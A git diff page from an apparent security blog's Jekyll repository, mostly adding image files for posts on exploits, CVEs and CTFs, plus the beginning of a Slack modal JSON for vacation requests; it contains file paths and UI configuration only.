You can find the source code for Jekyll at GitHub: +jekyll / +jekyll

+ + +
+
+ diff --git a/docs/assets/2020-04-14-CVE-2020-0674/profile.png b/docs/assets/2020-04-14-CVE-2020-0674/profile.png new file mode 100644 index 0000000..2fba53c Binary files /dev/null and b/docs/assets/2020-04-14-CVE-2020-0674/profile.png differ diff --git a/docs/assets/2020-04-14-CVE-2020-0674/thumbnail.png b/docs/assets/2020-04-14-CVE-2020-0674/thumbnail.png new file mode 100644 index 0000000..2e24d33 Binary files /dev/null and b/docs/assets/2020-04-14-CVE-2020-0674/thumbnail.png differ diff --git a/docs/assets/2020-06-19-Deeplink.assets/image-20200622125335429.png b/docs/assets/2020-06-19-Deeplink.assets/image-20200622125335429.png new file mode 100644 index 0000000..96d9e1a Binary files /dev/null and b/docs/assets/2020-06-19-Deeplink.assets/image-20200622125335429.png differ diff --git a/docs/assets/2020-06-19-Deeplink.assets/image-20200622130500463.png b/docs/assets/2020-06-19-Deeplink.assets/image-20200622130500463.png new file mode 100644 index 0000000..144956f Binary files /dev/null and b/docs/assets/2020-06-19-Deeplink.assets/image-20200622130500463.png differ diff --git a/docs/assets/2020-06-19-Deeplink.assets/image-20200622131129707.png b/docs/assets/2020-06-19-Deeplink.assets/image-20200622131129707.png new file mode 100644 index 0000000..3c9bb49 Binary files /dev/null and b/docs/assets/2020-06-19-Deeplink.assets/image-20200622131129707.png differ diff --git a/docs/assets/2020-06-19-Deeplink.assets/image-20200622132831262.png b/docs/assets/2020-06-19-Deeplink.assets/image-20200622132831262.png new file mode 100644 index 0000000..dc232c6 Binary files /dev/null and b/docs/assets/2020-06-19-Deeplink.assets/image-20200622132831262.png differ diff --git a/docs/assets/2020-06-19-Deeplink.assets/image-20200622133039429.png b/docs/assets/2020-06-19-Deeplink.assets/image-20200622133039429.png new file mode 100644 index 0000000..90e3aa7 Binary files /dev/null and b/docs/assets/2020-06-19-Deeplink.assets/image-20200622133039429.png differ diff --git a/docs/assets/2020-06-19-Deeplink.assets/image-20200622133244709.png b/docs/assets/2020-06-19-Deeplink.assets/image-20200622133244709.png new file mode 100644 index 0000000..ad21fdf Binary files /dev/null and b/docs/assets/2020-06-19-Deeplink.assets/image-20200622133244709.png differ diff --git a/docs/assets/2020-06-19-Deeplink.assets/image-20200622133410837.png b/docs/assets/2020-06-19-Deeplink.assets/image-20200622133410837.png new file mode 100644 index 0000000..0925fd6 Binary files /dev/null and b/docs/assets/2020-06-19-Deeplink.assets/image-20200622133410837.png differ diff --git a/docs/assets/2020-06-19-Deeplink.assets/image-20200622133753837.png b/docs/assets/2020-06-19-Deeplink.assets/image-20200622133753837.png new file mode 100644 index 0000000..10829c7 Binary files /dev/null and b/docs/assets/2020-06-19-Deeplink.assets/image-20200622133753837.png differ diff --git a/docs/assets/2020-06-19-Deeplink.assets/image-20200622133835757.png b/docs/assets/2020-06-19-Deeplink.assets/image-20200622133835757.png new file mode 100644 index 0000000..8a588d1 Binary files /dev/null and b/docs/assets/2020-06-19-Deeplink.assets/image-20200622133835757.png differ diff --git a/docs/assets/2020-06-19-Deeplink.assets/image-20200622134610965.png b/docs/assets/2020-06-19-Deeplink.assets/image-20200622134610965.png new file mode 100644 index 0000000..b1d7761 Binary files /dev/null and b/docs/assets/2020-06-19-Deeplink.assets/image-20200622134610965.png differ diff --git a/docs/assets/2020-06-19-Deeplink.assets/image-20200622134642035.png b/docs/assets/2020-06-19-Deeplink.assets/image-20200622134642035.png new file mode 100644 index 0000000..1bb8a5e Binary files /dev/null and b/docs/assets/2020-06-19-Deeplink.assets/image-20200622134642035.png differ diff --git a/docs/assets/2020-06-19-Deeplink.assets/image-20200622135149357.png b/docs/assets/2020-06-19-Deeplink.assets/image-20200622135149357.png new file mode 100644 index 0000000..1a6919b Binary files /dev/null and b/docs/assets/2020-06-19-Deeplink.assets/image-20200622135149357.png differ diff --git a/docs/assets/2020-06-19-Deeplink.assets/image-20200622151108870.png b/docs/assets/2020-06-19-Deeplink.assets/image-20200622151108870.png new file mode 100644 index 0000000..fc67b83 Binary files /dev/null and b/docs/assets/2020-06-19-Deeplink.assets/image-20200622151108870.png differ diff --git a/docs/assets/2020-06-19-Deeplink.assets/image-20200622151136809.png b/docs/assets/2020-06-19-Deeplink.assets/image-20200622151136809.png new file mode 100644 index 0000000..1ae7845 Binary files /dev/null and b/docs/assets/2020-06-19-Deeplink.assets/image-20200622151136809.png differ diff --git a/docs/assets/2020-06-19-Deeplink.assets/image-20200622151622681.png b/docs/assets/2020-06-19-Deeplink.assets/image-20200622151622681.png new file mode 100644 index 0000000..6938003 Binary files /dev/null and b/docs/assets/2020-06-19-Deeplink.assets/image-20200622151622681.png differ diff --git a/docs/assets/2020-06-19-Deeplink.assets/image-20200622151840722.png b/docs/assets/2020-06-19-Deeplink.assets/image-20200622151840722.png new file mode 100644 index 0000000..2c68a04 Binary files /dev/null and b/docs/assets/2020-06-19-Deeplink.assets/image-20200622151840722.png differ diff --git a/docs/assets/2020-07-17-iOS.assets/file_format.png b/docs/assets/2020-07-17-iOS.assets/file_format.png new file mode 100644 index 0000000..8db86a5 Binary files /dev/null and b/docs/assets/2020-07-17-iOS.assets/file_format.png differ diff --git a/docs/assets/2020-07-17-iOS.assets/text_section.png b/docs/assets/2020-07-17-iOS.assets/text_section.png new file mode 100644 index 0000000..a2785e5 Binary files /dev/null and b/docs/assets/2020-07-17-iOS.assets/text_section.png differ diff --git a/docs/assets/2020-08-20-cgi_exploit.assets/image-20200819160551819.png b/docs/assets/2020-08-20-cgi_exploit.assets/image-20200819160551819.png new file mode 100644 index 0000000..455f593 Binary files /dev/null and b/docs/assets/2020-08-20-cgi_exploit.assets/image-20200819160551819.png differ diff --git a/docs/assets/2020-08-20-cgi_exploit.assets/image-20200819160732064.png b/docs/assets/2020-08-20-cgi_exploit.assets/image-20200819160732064.png new file mode 100644 index 0000000..950781c Binary files /dev/null and b/docs/assets/2020-08-20-cgi_exploit.assets/image-20200819160732064.png differ diff --git a/docs/assets/2020-09-25-bug_hunting/chrome-vrp.png b/docs/assets/2020-09-25-bug_hunting/chrome-vrp.png new file mode 100644 index 0000000..ae9b1fb Binary files /dev/null and b/docs/assets/2020-09-25-bug_hunting/chrome-vrp.png differ diff --git a/docs/assets/2020-09-25-bug_hunting/chrome.png b/docs/assets/2020-09-25-bug_hunting/chrome.png new file mode 100644 index 0000000..f69f2e8 Binary files /dev/null and b/docs/assets/2020-09-25-bug_hunting/chrome.png differ diff --git a/docs/assets/2020-09-25-bug_hunting/comment.png b/docs/assets/2020-09-25-bug_hunting/comment.png new file mode 100644 index 0000000..243a9d6 Binary files /dev/null and b/docs/assets/2020-09-25-bug_hunting/comment.png differ diff --git a/docs/assets/2020-10-29-can_bus_1/IMG_8276.jpg b/docs/assets/2020-10-29-can_bus_1/IMG_8276.jpg new file mode 100644 index 0000000..2c72695 Binary files /dev/null and b/docs/assets/2020-10-29-can_bus_1/IMG_8276.jpg differ diff --git a/docs/assets/2020-10-29-can_bus_1/IMG_8285.jpg b/docs/assets/2020-10-29-can_bus_1/IMG_8285.jpg new file mode 100644 index 0000000..f119991 Binary files /dev/null and b/docs/assets/2020-10-29-can_bus_1/IMG_8285.jpg differ diff --git a/docs/assets/2020-10-29-can_bus_1/IMG_8286.jpg b/docs/assets/2020-10-29-can_bus_1/IMG_8286.jpg new file mode 100644 index 0000000..3a537f5 Binary files /dev/null and b/docs/assets/2020-10-29-can_bus_1/IMG_8286.jpg differ diff --git a/docs/assets/2020-10-29-can_bus_1/IMG_8289.jpg b/docs/assets/2020-10-29-can_bus_1/IMG_8289.jpg new file mode 100644 index 0000000..f8d6624 Binary files /dev/null and b/docs/assets/2020-10-29-can_bus_1/IMG_8289.jpg differ diff --git a/docs/assets/2020-10-29-can_bus_1/IMG_8290.jpg b/docs/assets/2020-10-29-can_bus_1/IMG_8290.jpg new file mode 100644 index 0000000..3e81eef Binary files /dev/null and b/docs/assets/2020-10-29-can_bus_1/IMG_8290.jpg differ diff --git a/docs/assets/2020-10-29-can_bus_1/IMG_8304.jpg b/docs/assets/2020-10-29-can_bus_1/IMG_8304.jpg new file mode 100644 index 0000000..453ba4b Binary files /dev/null and b/docs/assets/2020-10-29-can_bus_1/IMG_8304.jpg differ diff --git a/docs/assets/2020-10-29-can_bus_1/ecu_background.jpg b/docs/assets/2020-10-29-can_bus_1/ecu_background.jpg new file mode 100644 index 0000000..b45e41d Binary files /dev/null and b/docs/assets/2020-10-29-can_bus_1/ecu_background.jpg differ diff --git a/docs/assets/2020-10-29-can_bus_1/ecu_pic.jpg b/docs/assets/2020-10-29-can_bus_1/ecu_pic.jpg new file mode 100644 index 0000000..d577d4b Binary files /dev/null and b/docs/assets/2020-10-29-can_bus_1/ecu_pic.jpg differ diff --git a/docs/assets/2020-10-29-can_bus_1/image-20201028131033957.png b/docs/assets/2020-10-29-can_bus_1/image-20201028131033957.png new file mode 100644 index 0000000..6866341 Binary files /dev/null and b/docs/assets/2020-10-29-can_bus_1/image-20201028131033957.png differ diff --git a/docs/assets/2020-10-29-can_bus_1/image-20201028135159922.png b/docs/assets/2020-10-29-can_bus_1/image-20201028135159922.png new file mode 100644 index 0000000..12f3604 Binary files /dev/null and b/docs/assets/2020-10-29-can_bus_1/image-20201028135159922.png differ diff --git a/docs/assets/2020-10-29-can_bus_1/image-20201028135503667.png b/docs/assets/2020-10-29-can_bus_1/image-20201028135503667.png new file mode 100644 index 0000000..7b19f3c Binary files /dev/null and b/docs/assets/2020-10-29-can_bus_1/image-20201028135503667.png differ diff --git a/docs/assets/2020-10-29-can_bus_1/image-20201028141435630.png b/docs/assets/2020-10-29-can_bus_1/image-20201028141435630.png new file mode 100644 index 0000000..b95ed0a Binary files /dev/null and b/docs/assets/2020-10-29-can_bus_1/image-20201028141435630.png differ diff --git a/docs/assets/2020-10-29-can_bus_1/image-20201028143346349.png b/docs/assets/2020-10-29-can_bus_1/image-20201028143346349.png new file mode 100644 index 0000000..f077dfe Binary files /dev/null and b/docs/assets/2020-10-29-can_bus_1/image-20201028143346349.png differ diff --git a/docs/assets/2020-10-29-can_bus_1/image-20201028145437329.png b/docs/assets/2020-10-29-can_bus_1/image-20201028145437329.png new file mode 100644 index 0000000..1fdb840 Binary files /dev/null and b/docs/assets/2020-10-29-can_bus_1/image-20201028145437329.png differ diff --git a/docs/assets/2020-10-29-can_bus_1/image-20201028151400097.png b/docs/assets/2020-10-29-can_bus_1/image-20201028151400097.png new file mode 100644 index 0000000..9fd6a6f Binary files /dev/null and b/docs/assets/2020-10-29-can_bus_1/image-20201028151400097.png differ diff --git a/docs/assets/2020-10-29-can_bus_1/image-20201028152046716.png b/docs/assets/2020-10-29-can_bus_1/image-20201028152046716.png new file mode 100644 index 0000000..5014175 Binary files /dev/null and b/docs/assets/2020-10-29-can_bus_1/image-20201028152046716.png differ diff --git a/docs/assets/2020-10-29-can_bus_1/image-20201028153014068.png b/docs/assets/2020-10-29-can_bus_1/image-20201028153014068.png new file mode 100644 index 0000000..37badbf Binary files /dev/null and b/docs/assets/2020-10-29-can_bus_1/image-20201028153014068.png differ diff --git a/docs/assets/2020-10-29-can_bus_1/image-20201028160415838.png b/docs/assets/2020-10-29-can_bus_1/image-20201028160415838.png new file mode 100644 index 0000000..c5e3d0e Binary files /dev/null and b/docs/assets/2020-10-29-can_bus_1/image-20201028160415838.png differ diff --git a/docs/assets/2020-10-29-can_bus_1/image-20201028161216982.png b/docs/assets/2020-10-29-can_bus_1/image-20201028161216982.png new file mode 100644 index 0000000..c90adf6 Binary files /dev/null and b/docs/assets/2020-10-29-can_bus_1/image-20201028161216982.png differ diff --git a/docs/assets/2020-10-29-can_bus_1/image-20201028163713843.png b/docs/assets/2020-10-29-can_bus_1/image-20201028163713843.png new file mode 100644 index 0000000..ed6e16e Binary files /dev/null and b/docs/assets/2020-10-29-can_bus_1/image-20201028163713843.png differ diff --git a/docs/assets/2020-10-29-can_bus_1/image-20201028165107310.png b/docs/assets/2020-10-29-can_bus_1/image-20201028165107310.png new file mode 100644 index 0000000..c2ab896 Binary files /dev/null and b/docs/assets/2020-10-29-can_bus_1/image-20201028165107310.png differ diff --git a/docs/assets/2020-10-29-can_bus_1/image-20201028170658529.png b/docs/assets/2020-10-29-can_bus_1/image-20201028170658529.png new file mode 100644 index 0000000..b0b7e06 Binary files /dev/null and b/docs/assets/2020-10-29-can_bus_1/image-20201028170658529.png differ diff --git a/docs/assets/2020-10-29-can_bus_1/image-20201029133438034.png b/docs/assets/2020-10-29-can_bus_1/image-20201029133438034.png new file mode 100644 index 0000000..a4207bf Binary files /dev/null and b/docs/assets/2020-10-29-can_bus_1/image-20201029133438034.png differ diff --git a/docs/assets/2020-10-29-can_bus_1/pic_1.png b/docs/assets/2020-10-29-can_bus_1/pic_1.png new file mode 100644 index 0000000..c8da5c4 Binary files /dev/null and b/docs/assets/2020-10-29-can_bus_1/pic_1.png differ diff --git a/docs/assets/2020-10-29-can_bus_1/pic_2.png b/docs/assets/2020-10-29-can_bus_1/pic_2.png new file mode 100644 index 0000000..1e31f0f Binary files /dev/null and b/docs/assets/2020-10-29-can_bus_1/pic_2.png differ diff --git a/docs/assets/2020-10-29-can_bus_1/profile.jpg b/docs/assets/2020-10-29-can_bus_1/profile.jpg new file mode 100644 index 0000000..d83e1d2 Binary files /dev/null and b/docs/assets/2020-10-29-can_bus_1/profile.jpg differ diff --git a/docs/assets/2020-11-16/16.png b/docs/assets/2020-11-16/16.png new file mode 100644 index 0000000..d3fe2a4 Binary files /dev/null and b/docs/assets/2020-11-16/16.png differ diff --git a/docs/assets/2020-11-16/3.png b/docs/assets/2020-11-16/3.png new file mode 100644 index 0000000..dbede3f Binary files /dev/null and b/docs/assets/2020-11-16/3.png differ diff --git a/docs/assets/2020-11-16/7.png b/docs/assets/2020-11-16/7.png new file mode 100644 index 0000000..868a6d3 Binary files /dev/null and b/docs/assets/2020-11-16/7.png differ diff --git a/docs/assets/2020-11-16/8.png b/docs/assets/2020-11-16/8.png new file mode 100644 index 0000000..d048829 Binary files /dev/null and b/docs/assets/2020-11-16/8.png differ diff --git a/docs/assets/2020-11-16/MCD.png b/docs/assets/2020-11-16/MCD.png new file mode 100644 index 0000000..602531e Binary files /dev/null and b/docs/assets/2020-11-16/MCD.png differ diff --git a/docs/assets/2020-11-16/background.jpg b/docs/assets/2020-11-16/background.jpg new file mode 100644 index 0000000..4a16455 Binary files /dev/null and b/docs/assets/2020-11-16/background.jpg differ diff --git "a/docs/assets/2020-11-16/\354\212\244\355\201\254\353\246\260\354\203\267 2020-11-13 \354\230\244\355\233\204 2.45.03.png" "b/docs/assets/2020-11-16/\354\212\244\355\201\254\353\246\260\354\203\267 2020-11-13 \354\230\244\355\233\204 2.45.03.png" new file mode 100644 index 0000000..d048829 Binary files /dev/null and "b/docs/assets/2020-11-16/\354\212\244\355\201\254\353\246\260\354\203\267 2020-11-13 \354\230\244\355\233\204 2.45.03.png" differ diff --git "a/docs/assets/2020-11-16/\354\212\244\355\201\254\353\246\260\354\203\267 2020-11-13 \354\230\244\355\233\204 3.31.43.png" "b/docs/assets/2020-11-16/\354\212\244\355\201\254\353\246\260\354\203\267 2020-11-13 \354\230\244\355\233\204 3.31.43.png" new file mode 100644 index 0000000..868a6d3 Binary files /dev/null and "b/docs/assets/2020-11-16/\354\212\244\355\201\254\353\246\260\354\203\267 2020-11-13 \354\230\244\355\233\204 3.31.43.png" differ diff --git "a/docs/assets/2020-11-16/\354\212\244\355\201\254\353\246\260\354\203\267 2020-11-13 \354\230\244\355\233\204 6.03.15.png" "b/docs/assets/2020-11-16/\354\212\244\355\201\254\353\246\260\354\203\267 2020-11-13 \354\230\244\355\233\204 6.03.15.png" new file mode 100644 index 0000000..4ed584e Binary files /dev/null and "b/docs/assets/2020-11-16/\354\212\244\355\201\254\353\246\260\354\203\267 2020-11-13 \354\230\244\355\233\204 6.03.15.png" differ diff --git a/docs/assets/2020-11-26-audio_lib_exploit/audio.png b/docs/assets/2020-11-26-audio_lib_exploit/audio.png new file mode 100644 index 0000000..b6c8bb5 Binary files /dev/null and b/docs/assets/2020-11-26-audio_lib_exploit/audio.png differ diff --git a/docs/assets/2020-11-26-audio_lib_exploit/image-20201117133657728.png b/docs/assets/2020-11-26-audio_lib_exploit/image-20201117133657728.png new file mode 100644 index 0000000..8969793 Binary files /dev/null and b/docs/assets/2020-11-26-audio_lib_exploit/image-20201117133657728.png differ diff --git a/docs/assets/2020-11-26-audio_lib_exploit/image-20201117134210220.png b/docs/assets/2020-11-26-audio_lib_exploit/image-20201117134210220.png new file mode 100644 index 0000000..095b4b9 Binary files /dev/null and b/docs/assets/2020-11-26-audio_lib_exploit/image-20201117134210220.png differ diff --git a/docs/assets/2020-11-26-audio_lib_exploit/image-20201117140019692.png b/docs/assets/2020-11-26-audio_lib_exploit/image-20201117140019692.png new file mode 100644 index 0000000..095b4b9 Binary files /dev/null and b/docs/assets/2020-11-26-audio_lib_exploit/image-20201117140019692.png differ diff --git a/docs/assets/2020-11-26-audio_lib_exploit/image-20201117140035807.png b/docs/assets/2020-11-26-audio_lib_exploit/image-20201117140035807.png new file mode 100644 index 0000000..a7b554c Binary files /dev/null and b/docs/assets/2020-11-26-audio_lib_exploit/image-20201117140035807.png differ diff --git a/docs/assets/2020-11-26-audio_lib_exploit/image-20201117140119996.png b/docs/assets/2020-11-26-audio_lib_exploit/image-20201117140119996.png new file mode 100644 index 0000000..cc4566a Binary files /dev/null and b/docs/assets/2020-11-26-audio_lib_exploit/image-20201117140119996.png differ diff --git a/docs/assets/2020-11-26-audio_lib_exploit/image-20201117140458784.png b/docs/assets/2020-11-26-audio_lib_exploit/image-20201117140458784.png new file mode 100644 index 0000000..047afd7 Binary files /dev/null and b/docs/assets/2020-11-26-audio_lib_exploit/image-20201117140458784.png differ diff --git a/docs/assets/2020-11-26-audio_lib_exploit/image-20201117141031393.png b/docs/assets/2020-11-26-audio_lib_exploit/image-20201117141031393.png new file mode 100644 index 0000000..41081de Binary files /dev/null and b/docs/assets/2020-11-26-audio_lib_exploit/image-20201117141031393.png differ diff --git a/docs/assets/2020-11-26-audio_lib_exploit/image-20201117141227737.png b/docs/assets/2020-11-26-audio_lib_exploit/image-20201117141227737.png new file mode 100644 index 0000000..64be11b Binary files /dev/null and b/docs/assets/2020-11-26-audio_lib_exploit/image-20201117141227737.png differ diff --git a/docs/assets/2020-11-26-audio_lib_exploit/image-20201117141421155.png b/docs/assets/2020-11-26-audio_lib_exploit/image-20201117141421155.png new file mode 100644 index 0000000..894625b Binary files /dev/null and b/docs/assets/2020-11-26-audio_lib_exploit/image-20201117141421155.png differ diff --git a/docs/assets/2020-11-26-audio_lib_exploit/image-20201117141641705.png b/docs/assets/2020-11-26-audio_lib_exploit/image-20201117141641705.png new file mode 100644 index 0000000..fa5bad9 Binary files /dev/null and b/docs/assets/2020-11-26-audio_lib_exploit/image-20201117141641705.png differ diff --git a/docs/assets/2020-12-23-javascript-prototype-pollution/blog_profile.png b/docs/assets/2020-12-23-javascript-prototype-pollution/blog_profile.png new file mode 100644 index 0000000..55a94b7 Binary files /dev/null and b/docs/assets/2020-12-23-javascript-prototype-pollution/blog_profile.png differ diff --git a/docs/assets/2020-12-23-javascript-prototype-pollution/thumbnail.png b/docs/assets/2020-12-23-javascript-prototype-pollution/thumbnail.png new file mode 100644 index 0000000..6002b6b Binary files /dev/null and b/docs/assets/2020-12-23-javascript-prototype-pollution/thumbnail.png differ diff --git a/docs/assets/2021-01-28-metasploit-ctf-review/challenge-1.png b/docs/assets/2021-01-28-metasploit-ctf-review/challenge-1.png new file mode 100644 index 0000000..55bac0a Binary files /dev/null and b/docs/assets/2021-01-28-metasploit-ctf-review/challenge-1.png differ diff --git a/docs/assets/2021-01-28-metasploit-ctf-review/challenge-2.png b/docs/assets/2021-01-28-metasploit-ctf-review/challenge-2.png new file mode 100644 index 0000000..df1c2be Binary files /dev/null and b/docs/assets/2021-01-28-metasploit-ctf-review/challenge-2.png differ diff --git a/docs/assets/2021-01-28-metasploit-ctf-review/challenge-3.png b/docs/assets/2021-01-28-metasploit-ctf-review/challenge-3.png new file mode 100644 index 0000000..b0de15c Binary files /dev/null and b/docs/assets/2021-01-28-metasploit-ctf-review/challenge-3.png differ diff --git a/docs/assets/2021-01-28-metasploit-ctf-review/challenge-4.png b/docs/assets/2021-01-28-metasploit-ctf-review/challenge-4.png new file mode 100644 index 0000000..3a54410 Binary files /dev/null and b/docs/assets/2021-01-28-metasploit-ctf-review/challenge-4.png differ diff --git a/docs/assets/2021-01-28-metasploit-ctf-review/challenge-5.png b/docs/assets/2021-01-28-metasploit-ctf-review/challenge-5.png new file mode 100644 index 0000000..4f9f3cf Binary files /dev/null and b/docs/assets/2021-01-28-metasploit-ctf-review/challenge-5.png differ diff --git a/docs/assets/2021-01-28-metasploit-ctf-review/overview-1.png b/docs/assets/2021-01-28-metasploit-ctf-review/overview-1.png new file mode 100644 index 0000000..a16bce2 Binary files /dev/null and b/docs/assets/2021-01-28-metasploit-ctf-review/overview-1.png differ diff --git a/docs/assets/2021-01-28-metasploit-ctf-review/profile_image.jpg b/docs/assets/2021-01-28-metasploit-ctf-review/profile_image.jpg new file mode 100644 index 0000000..d96f3d3 Binary files /dev/null and b/docs/assets/2021-01-28-metasploit-ctf-review/profile_image.jpg differ diff --git a/docs/assets/2021-01-28-metasploit-ctf-review/result-1.png b/docs/assets/2021-01-28-metasploit-ctf-review/result-1.png new file mode 100644 index 0000000..a76318c Binary files /dev/null and b/docs/assets/2021-01-28-metasploit-ctf-review/result-1.png differ diff --git a/docs/assets/2021-02-08-Gnuboard-RCE/profile.jpg b/docs/assets/2021-02-08-Gnuboard-RCE/profile.jpg new file mode 100644 index 0000000..d69b4ae Binary files /dev/null and b/docs/assets/2021-02-08-Gnuboard-RCE/profile.jpg differ diff --git "a/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/1.create_slackbot.png" "b/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/1.create_slackbot.png" new file mode 100644 index 0000000..1eb2e8c Binary files /dev/null and "b/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/1.create_slackbot.png" differ diff --git "a/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/10.modal.png" "b/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/10.modal.png" new file mode 100644 index 0000000..23aa2b4 Binary files /dev/null and "b/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/10.modal.png" differ diff --git "a/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/11.app_home.png" "b/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/11.app_home.png" new file mode 100644 index 0000000..373d433 Binary files /dev/null and "b/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/11.app_home.png" differ diff --git "a/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/2.event_subscription.png" "b/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/2.event_subscription.png" new file mode 100644 index 0000000..b9a2b61 Binary files /dev/null and "b/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/2.event_subscription.png" differ diff --git "a/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/3.request_url.png" "b/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/3.request_url.png" new file mode 100644 index 0000000..1c21262 Binary files /dev/null and "b/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/3.request_url.png" differ diff --git "a/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/4.dm_slack.png" "b/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/4.dm_slack.png" new file mode 100644 index 0000000..ee69525 Binary files /dev/null and "b/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/4.dm_slack.png" differ diff --git "a/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/5.slackbot_token.png" "b/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/5.slackbot_token.png" new file mode 100644 index 0000000..bf7c2ea Binary files /dev/null and "b/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/5.slackbot_token.png" differ diff --git "a/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/6.response.png" "b/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/6.response.png" new file mode 100644 index 0000000..efd0539 Binary files /dev/null and "b/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/6.response.png" differ diff --git "a/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/7.slackbot_modal.png" "b/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/7.slackbot_modal.png" new file mode 100644 index 0000000..ce2f8b3 Binary files /dev/null and "b/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/7.slackbot_modal.png" differ diff --git "a/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/8.action_url.png" "b/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/8.action_url.png" new file mode 100644 index 0000000..a25eaa6 Binary files /dev/null and "b/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/8.action_url.png" differ diff --git "a/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/9.interactive_sample.png" "b/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/9.interactive_sample.png" new file mode 100644 index 0000000..14f5bfa Binary files /dev/null and "b/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/9.interactive_sample.png" differ diff --git "a/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/modal_view.html" "b/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/modal_view.html" new file mode 100644 index 0000000..a1c8009 --- /dev/null +++ "b/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/modal_view.html" @@ -0,0 +1,107 @@ +
+  {
+    "blocks": [
+      {
+        "type": "actions",
+        "block_id": "vacation_request_list",
+        "elements": [
+          {
+            "action_id": "select_modal_vacation_request_list",
+            "type": "static_select",
+            "placeholder": {
+              "type": "plain_text",
+              "text": "요청 유형 선택"
+            },
+            "options": [
+              {
+                "text": {
+                  "type": "plain_text",
+                  "text": "휴가"
+                },
+                "value": "vacation"
+              },
+              {
+                "text": {
